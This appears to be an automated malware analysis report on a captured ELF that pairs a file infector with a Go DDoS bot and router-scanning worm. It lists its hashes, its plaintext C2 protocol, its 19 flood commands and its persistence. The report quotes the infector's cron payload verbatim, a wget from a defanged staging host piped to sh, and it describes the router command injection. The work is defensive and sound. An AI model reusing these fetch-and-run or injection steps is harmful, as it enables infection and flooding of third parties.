Honeypot capture
X86_64 ELF 64-bit LSB pie executable ddos-bot (7d7210719451)
A honeypot sensor network captured an x86-64 ELF of 6169144 bytes. Command and control is the channel an infected machine uses to reach its operator for instructions, and the static read recovered one endpoint from this file, 185[.]226[.]93[.]242 on TCP port 9111, along with all 19 tasking commands the implant accepts on that socket. Both directions of the channel are plaintext ASCII, so a defender holding a packet capture decodes it without a key. The beacon carries the victim’s device fingerprint, and any operator line carries the flood method, the third-party target, the port and the duration.
The file contains two unrelated pieces of malware. The first 0x20d7 bytes are an x86-64 prepending ELF file infector; everything after that offset is an AArch64 Go binary built for Android, carved out to unpacked.bin for analysis. The Go module is self-named Botnet, main package Botnet/Bot, (devel) build, read verbatim from .go.buildinfo. The Go stage matches no commodity family, because Mirai, Gafgyt, XorDDoS and Tsunami are written in C, use different command encodings, and target platforms other than the android/arm64 and Go net/http stack this binary runs on.
The Go stage spreads without user action: a goroutine spawned at process start generates random public IPv4 addresses and command-injects the routers it finds, independent of anything the operator sends. The profile records it as an autonomous worm, since the scan loop needs no operator command and one infected device can infect further routers on its own.
Sample identification
| SHA-256 | 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf |
| MD5 | ec838cf18ff0cbdb4592091e3f613d76 |
| SHA-1 | 184882f1b035e1f97b9ede7605340276d5c496d4 |
| ssdeep | 49152:6i1lXOurh0Qx8ZmYFDeH/+wdVwXUSA6Li9kHyydW9kq114TmO5E1B0F:V1l+u9x8mYFD8+wvwXUSA6LiqbbE1B0F |
| Stage 1 | ELF 64-bit LSB PIE, x86-64, stripped, no section header; requires libc.so.6 |
| Stage 2 | ELF 64-bit AArch64 Go binary, GOOS=android, statically linked |
| Size | 6169144 bytes |
The submitted filename is identical to the SHA-256, so it carries no signal of its own. The ssdeep value above is a fuzzy hash that stays similar when a file is edited slightly.
The stage-1 infector
Stage 1 spreads by rewriting executables. It walks the current working directory, tests each entry for the ELF64 magic, searches each file with memmem for the marker Ym9uZ3JpcHo0amV6dXoK — base64 for bongripz4jezuz\n — skips the files that already carry it, and rewrites the rest as [0x20d7-byte viral stub][original file] (0x401460). It also infects /bin/ls explicitly (0x4012c2), outside the directory sweep. A defender can search ELF files for the same marker: its presence in a file means that file is already infected.
Stage 1 opens /proc/self/exe (0x400f2f) to read the appended host payload, drops it to disk, and unlinks it immediately (0x400f8e), so the running stage-2 process has no path on disk to find it by.
The CNC session on tcp/9111
The binary reaches its endpoint from one dial site. The host string (0x2d7b30) and the port 9111 (0x2601fd) are adjacent Go string headers in .data at 0x5dc440, joined by runtime.concatstring3 and passed to net.Dial("tcp", …) at 0x210918. That is the only dial in the binary, and a second decompiler backend agreed on it in the consensus round. the single recovered endpoint reads as a consequence of that one dial site. Port 9111 is non-standard for any registered protocol, and the profile records it under ATT&CK T1571.
The session dials, connects, arms a 120 s auto-reconnect at 0x2109a4, and splits the socket between two goroutines, a beacon writer on a 2 s time.Sleep (0x21648c) and a command reader over bufio.Scanner (0x210ab4). On disconnect it sleeps 5 s and re-dials. The beacon format string sits at 0x2657eb and is rendered by fmt.Sprintf at 0x21653c:
STATS|[cpu_count]|[cpu_pct]|[mem_a]|[mem_b]|[arch]\n
The two directions of the socket carry different formats. Each beacon reads /proc/stat and /proc/meminfo (0x212fe0, T1082) and reports a CPU-count global and the literal architecture tag arm64. Tasking arrives in the other direction as [command] [target] [[port]] [duration]\n, which strings.Fields splits and a switch(len(word)-3) at 0x210afc dispatches.
The net.Dial→conn.Write path carries no cipher, and crypto/tls is linked into the binary but is reached only from the TLS flood methods and net/http. The stage-1 stub does obfuscate its strings, with a monoalphabetic substitution alphabet (decoder sub_4015d0, tables at file offsets 0x2020 and 0x2080) that the config extractor reimplements.
Table: the 19 commands the dispatcher accepts, with the handler address in unpacked.bin (base 0x10000), the recorded field count and the Botnet/Methods symbol each one reaches.
All 19 handler addresses were verified against .gopclntab.
| Command | Virtual address | Fields | Method | Command | Virtual address | Fields | Method |
|---|---|---|---|---|---|---|---|
| hex | 0x209610 | 4 | HexFlood | ping | 0x20a860 | 4 | PingFlood |
| ntp | 0x209890 | 3 | NtpAmp | priv7 | 0x20b160 | 3 | Priv7Flood |
| ovh | 0x20a610 | 4 | OVHFlood | voult | 0x210270 | 4 | VoultAttack |
| pps | 0x20ab80 | 4 | PPSFlood | ppsraw | 0x20bc40 | 4 | PPSRawFlood |
| tcp | 0x20c590 | 4 | TCPFlood | browser | 0x204dc0 | 3 | BrowserFlood |
| udp | 0x20e420 | 4 | UdpFlood | tlsplus | 0x20d070 | 3 | TLSPlusFlood |
| std | 0x20c3a0 | 4 | STDFlood | handshake | 0x209030 | 4 | HandshakeFlood |
| tls | 0x20c6d0 | 3 | TLSFlood | cloudflare | 0x206670 | 3 | CloudflareFlood |
| fort | 0x2068d0 | 4 | FortAttack | tlsplusbypass | 0x20dab0 | 3 | TLSPlusBypassFlood |
| game | 0x206f50 | 4 | GameFlood |
The volumetric half (udp, hex, std, ovh, ntp, pps, ppsraw, ping, game, fort, voult, handshake, T1498) includes NTP amplification under ntp, and the ping, ppsraw, voult and handshake floods open raw sockets and spoof source addresses. The application-layer half (tcp, tls, tlsplus, tlsplusbypass, browser, cloudflare, priv7 over HTTP POST, T1499) forges browser headers, and the bypass variant draws on a proxy list.
Two gaps remain in the protocol read, and neither blocks decoding or emulation. The dispatcher silently drops every line it fails to recognise, so a keepalive or an auth banner from the operator’s console would leave no trace in the code, and static analysis cannot rule out commands beyond the 19 recovered. The global at 0x6114a8 that supplies the first STATS integer is read and compared < 4 inside Priv7Flood but never written, and its units are not pinned down. The dissector still replays 3 of 3 recorded test vectors, and both message types are documented field by field in protocol_spec.md.
The scanner goroutine
The scan loop at 0x213590 runs in a goroutine started at process start, unconditionally. It generates random public IPv4 addresses, fingerprints a Totolink/Nexxt-class router web interface, and injects a shell command into it: fetch the staging script with wget, chmod +x, execute (0x2718ec, T1059.004). The next stage comes from hxxp://%s/bins.sh on the scanned router itself (0x263c7c, T1105). Before injecting, it recovers or guesses the device’s credentials: getCredLeak (0x213cc0) and getAdminCredLeak (0x2141f0) read a leak endpoint, pass the response through main.Decode, and loginDevice posts the result to the setUserLogin topicurl. The credential list those two functions use was not decompiled inside the phase-8 budget.
The probe requests are hand-built, and each carries the fixed header User-Agent: Hello World (0x213b10). main.confCheck (0x213a70) fetches /config.dat from a scanned victim as part of the same fingerprint. The sample carries no host for /config.dat, for hxxp://%s/bins.sh or for proxy/tlsplusbypass.txt (0x2666a2), because each host slot is filled at runtime. The profile therefore records all three as runtime-supplied templates and not as endpoints.
Persistence in both stages
Stage 1 creates /etc/cron.hourly/0 with fopen(…,"w+"), chmods it 0o5777, and sets the ext2 immutable flag on it through FS_IOC_SETFLAGS (0x401117, T1053.003), so it cannot be deleted without chattr -i first. Its decoded contents, verbatim, with the URL defanged:
#!/bin/sh
wget --quiet hxxp://cf0[.]pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1
The 92-byte URL ends with the cron file’s own path, /etc/cron.hourly/0.
Stage 2 installs persistence separately from stage 1. main.AutoStart (0x2129c0) probes /usr/bin/, /data/local/tmp/, /tmp/ and /var/run/ for writability with os.OpenFile(O_RDWR|O_CREAT|O_TRUNC, 0666), copies itself into the first that works with mode 0777, then appends launch lines to a second table of targets beginning with /etc/rc.local, a 13-byte entry, and /root/.bashrc (0x212bd0).
Table: ten host artifacts, split between the stage-1 infector and the stage-2 bot Each row is a path or literal read out of the sample, the stage that writes or searches for it, and the virtual address of the reference. None of these carries a verified flag from the consensus round.
| Value | Context | Virtual address |
|---|---|---|
/etc/cron.hourly/0 | stage-1 hourly updater | 0x4010fc |
/bin/ls | stage-1 explicit infection target | 0x4012c2 |
/etc/rc.local | stage-2 autostart launch line | 0x212bd0 |
/root/.bashrc | stage-2 autostart launch line | 0x212bd0 |
/data/local/tmp/ | stage-2 self-copy directory | 0x2129c0 |
/var/run/ | stage-2 self-copy directory | 0x2129c0 |
/proc/self/exe | stage-1 reads its own image | 0x400f2f |
Ym9uZ3JpcHo0amV6dXoK | stage-1 infection marker | 0x4016a0 |
arm64 | fifth STATS field; also the dropped path /tmp/arm64 | 0x212f24 |
Hello World | stage-2 scanner probe user agent | 0x213b10 |
The staging host cf0[.]pw is a live stage-1 indicator that the machine-generated artifacts miss. The pipeline judges endpoints against the analysis target, unpacked.bin, and this URL exists only in the stage-1 image sample.bin, so it stays out of iocs.csv, blocklist.txt and the Suricata rule. Running the extractor against sample.bin does emit it as a URL endpoint.
Reading the file without running it
An automated pipeline at Kinryu Labs did the work in Binary Ninja headless, with no individual analyst involved. The sample was loaded as data throughout, so no recovered endpoint was contacted or resolved. Strings and structure came from strings and rabin2, with every indicator anchored to a file offset and corroborated across both tools, then the executable sections were disassembled and decompiled.
The ELF section headers are stripped, which removes symbol names and defeats section-based tooling while the loadable segments still run. syscall.Listen at 0xb1e70 is named in the pclntab, but no function was built at that address. It is recorded as unresolved and left out of the channel inventory.
A byte sweep turned up 22 network indicators beyond the recovered profile, among them 1[.]1[.]1[.]1, 1[.]2[.]1[.]1, 1[.]2[.]2[.]1, 1[.]3[.]1[.]1, 119[.]0[.]0[.]0 and 120[.]0[.]0[.]0, and none of them entered the profile.
185[.]226[.]93[.]242 appears in one other analysed capture, so the same infrastructure serves more than this sample.
Nothing in this report is observed behaviour, so timing beyond what the code schedules, retry patterns and anything post-execution are outside what a static read can show.
A responder should block cf0[.]pw and 185[.]226[.]93[.]242, and decode captured sessions offline with c2_dissect.py.
- Family
- unclassified
- First seen
- September 27, 2026
- Vector
- Runs as a ddos-bot/worm; the entry vector is not established by static analysis
- Format
- 6025 KB x86_64 ELF 64-bit LSB pie executable
- VirusTotal
- Not on VirusTotal
- Tags
- ddos-bot · elf · raw_tcp · scanner · worm · x86_64
- Sample
- By request. Email security@kinryu.sh
SHA-256
-
7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cfas captured -
5daec9cfd348f477f1ce61c31d7fec2164304e8f4dce3959c23a44f57525bb40unpacked payload
Analysis performed using an automatic malware analysis pipeline using Binary Ninja